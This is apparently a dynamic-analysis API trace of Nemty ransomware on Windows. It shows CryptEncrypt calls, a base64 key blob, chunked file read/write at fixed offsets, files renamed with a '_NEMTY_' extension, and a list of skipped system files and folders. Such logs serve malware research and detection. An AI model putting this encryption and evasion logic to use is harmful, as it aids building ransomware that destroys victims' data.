0x4f9ecb8 [0102.931] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPDMC.exe.mui", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0102.931] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPDMC.exe.mui", cchWideChar=14, lpMultiByteStr=0x653f2a0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPDMC.exe.mui", lpUsedDefaultChar=0x0) returned 14 [0102.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.931] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.931] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPDMC.exe.mui", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0102.931] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPDMC.exe.mui", cchWideChar=14, lpMultiByteStr=0x653f2d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPDMC.exe.mui", lpUsedDefaultChar=0x0) returned 14 [0102.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.931] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94248 [0102.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0102.931] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941c0 [0102.931] Sleep (dwMilliseconds=0x5) [0102.942] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf1015650, dwHighDateTime=0x1d561e7)) [0102.942] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf1015650, dwHighDateTime=0x1d561e7)) [0102.942] GetLastError () returned 0x5 [0102.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0102.942] GetLastError () returned 0x5 [0102.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0102.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0102.942] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0102.942] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0102.943] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0102.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0102.943] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="ndCtTR+x24S5f5Sq593JHxrHDXWXVwuej75UPCtaNA2evrX2GuvibZLOUd8+iMig\r\nYzqmNMotasG8/NHpTQdFPf3lVbl6I7RoJiVLiJ17nx1i5dF+tP7aj7dtyvXjaVsn\r\nEDFbzjx1+cg6jRrJxTAwjAyyAwr/kAali0doCPDNJJXm4YAjQpMExIDfnBSp0s2Y\r\nBmfvxhY7mMRxJejNOWhFtdllXSxaMhGiDeDsfZRo+KxijePYgPUcZBDLg03v6IvN\r\nAV9uVJk6KYvIcXjRB0tg7XyS9ykCVW0yR/mR4Bn+xmohz4uGEJHYE1iwCVlFpGR/\r\nSlqUYEo0hdhnUPVR9OGztg==\r\n", pcchString=0x653ef9c) returned 1 [0102.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0102.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0102.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0102.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0102.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0102.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0102.943] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\WMPDMC.exe.mui" (normalized: "c:\\program files\\windows media player\\en-us\\wmpdmc.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0102.944] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0102.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0102.944] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.944] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.953] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.953] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.953] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.953] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.962] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.962] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.962] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.962] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.971] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.971] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.972] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.972] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.981] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.981] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.981] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.981] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.990] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.990] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.990] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.990] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.999] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.999] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.999] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.000] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.009] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.009] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.009] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.009] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.018] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.018] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.018] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.018] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.027] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.027] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.027] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.027] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.037] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.037] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.037] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.037] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.043] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.043] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.043] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.043] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.049] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.049] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.049] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.049] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0103.050] CloseHandle (hObject=0xffffffff) returned 0 [0103.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942d0 [0103.050] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0103.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0103.050] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0103.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0103.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0103.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94358 [0103.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63401b8 [0103.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0103.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0103.050] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\en-US\\WMPDMC.exe.mui" (normalized: "c:\\program files\\windows media player\\en-us\\wmpdmc.exe.mui"), lpNewFileName="C:\\Program Files\\Windows Media Player\\en-US\\WMPDMC.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows media player\\en-us\\wmpdmc.exe.mui._nemty_kgobjgd_")) returned 0 [0103.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0103.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d0 | out: hHeap=0x4f90000) returned 1 [0103.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0103.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0103.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0103.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0103.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0103.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0103.050] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="WMPDMCCore.dll.mui", cAlternateFileName="")) returned 1 [0103.050] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2=".") returned 1 [0103.050] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="..") returned 1 [0103.050] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="...") returned 1 [0103.050] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="windows") returned 1 [0103.050] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="$RECYCLE.BIN") returned 1 [0103.050] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="rsa") returned 1 [0103.050] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="NTDETECT.COM") returned 1 [0103.051] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="ntldr") returned 1 [0103.051] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="MSDOS.SYS") returned 1 [0103.051] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="IO.SYS") returned 1 [0103.051] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="boot.ini") returned 1 [0103.051] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="boot.ini") returned 1 [0103.051] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="AUTOEXEC.BAT") returned 1 [0103.051] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="ntuser.dat") returned 1 [0103.051] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="desktop.ini") returned 1 [0103.051] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="CONFIG.SYS") returned 1 [0103.051] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="RECYCLER") returned 1 [0103.051] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="BOOTSECT.BAK") returned 1 [0103.051] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="bootmgr") returned 1 [0103.051] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="programdata") returned 1 [0103.051] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="appdata") returned 1 [0103.052] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0103.052] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPDMCCore.dll.mui", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0103.052] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0103.052] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPDMCCore.dll.mui", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPDMCCore.dll.mui", lpUsedDefaultChar=0x0) returned 18 [0103.052] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0103.052] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0103.052] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPDMCCore.dll.mui", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0103.052] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0103.052] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPDMCCore.dll.mui", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPDMCCore.dll.mui", lpUsedDefaultChar=0x0) returned 18 [0103.052] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0103.052] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0103.052] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0103.052] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0103.052] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPDMCCore.dll.mui", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0103.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0103.053] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPDMCCore.dll.mui", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPDMCCore.dll.mui", lpUsedDefaultChar=0x0) returned 18 [0103.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0103.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0103.053] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPDMCCore.dll.mui", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0103.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0103.053] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPDMCCore.dll.mui", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPDMCCore.dll.mui", lpUsedDefaultChar=0x0) returned 18 [0103.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0103.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941c0 [0103.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0103.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94248 [0103.053] Sleep (dwMilliseconds=0x5) [0103.067] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf1146150, dwHighDateTime=0x1d561e7)) [0103.067] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf1146150, dwHighDateTime=0x1d561e7)) [0103.067] GetLastError () returned 0x5 [0103.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0103.067] GetLastError () returned 0x5 [0103.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0103.067] HeapFree (in: 